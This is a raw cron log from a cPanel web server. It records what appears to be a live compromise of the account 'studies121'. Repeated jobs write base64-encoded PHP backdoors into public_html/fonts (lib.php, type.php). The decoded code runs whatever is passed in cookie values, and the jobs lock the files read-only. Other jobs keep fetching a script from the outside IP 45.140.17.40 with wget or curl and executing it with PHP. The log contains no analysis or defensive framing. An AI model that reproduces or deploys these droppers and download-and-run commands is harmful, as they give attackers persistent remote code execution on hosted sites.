Sep 11 12:47:01 ip-184-168-122-23 CROND[5344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:47:01 ip-184-168-122-23 CROND[5343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:48:01 ip-184-168-122-23 CROND[5430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:48:01 ip-184-168-122-23 CROND[5432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:48:01 ip-184-168-122-23 CROND[5433]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:48:01 ip-184-168-122-23 CROND[5435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:48:01 ip-184-168-122-23 CROND[5434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:49:01 ip-184-168-122-23 CROND[5530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:49:01 ip-184-168-122-23 CROND[5533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:49:01 ip-184-168-122-23 CROND[5532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:49:01 ip-184-168-122-23 CROND[5534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:50:01 ip-184-168-122-23 CROND[5624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:50:01 ip-184-168-122-23 CROND[5628]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:50:01 ip-184-168-122-23 CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:51:01 ip-184-168-122-23 CROND[5730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:51:01 ip-184-168-122-23 CROND[5731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:51:01 ip-184-168-122-23 CROND[5733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:51:01 ip-184-168-122-23 CROND[5734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:52:01 ip-184-168-122-23 CROND[5905]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:52:01 ip-184-168-122-23 CROND[5907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:52:01 ip-184-168-122-23 CROND[5908]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:52:01 ip-184-168-122-23 CROND[5909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:52:01 ip-184-168-122-23 CROND[5911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:53:01 ip-184-168-122-23 CROND[6013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:53:01 ip-184-168-122-23 CROND[6015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:53:01 ip-184-168-122-23 CROND[6016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:53:01 ip-184-168-122-23 CROND[6017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:54:01 ip-184-168-122-23 CROND[6092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:54:01 ip-184-168-122-23 CROND[6096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:54:01 ip-184-168-122-23 CROND[6095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:54:01 ip-184-168-122-23 CROND[6094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:54:01 ip-184-168-122-23 CROND[6097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:55:01 ip-184-168-122-23 CROND[6199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:55:01 ip-184-168-122-23 CROND[6201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:55:01 ip-184-168-122-23 CROND[6200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:55:01 ip-184-168-122-23 CROND[6204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:55:01 ip-184-168-122-23 CROND[6205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:55:02 ip-184-168-122-23 CROND[6209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:56:01 ip-184-168-122-23 CROND[6328]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:56:01 ip-184-168-122-23 CROND[6330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:56:01 ip-184-168-122-23 CROND[6333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:56:01 ip-184-168-122-23 CROND[6331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:56:01 ip-184-168-122-23 CROND[6332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:57:01 ip-184-168-122-23 CROND[6531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:57:01 ip-184-168-122-23 CROND[6533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:57:01 ip-184-168-122-23 CROND[6532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:57:01 ip-184-168-122-23 CROND[6534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:58:01 ip-184-168-122-23 CROND[6652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:58:01 ip-184-168-122-23 CROND[6653]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:58:01 ip-184-168-122-23 CROND[6655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:58:01 ip-184-168-122-23 CROND[6656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:58:01 ip-184-168-122-23 CROND[6658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:59:01 ip-184-168-122-23 CROND[6751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:59:01 ip-184-168-122-23 CROND[6753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:59:01 ip-184-168-122-23 CROND[6752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:59:01 ip-184-168-122-23 CROND[6756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
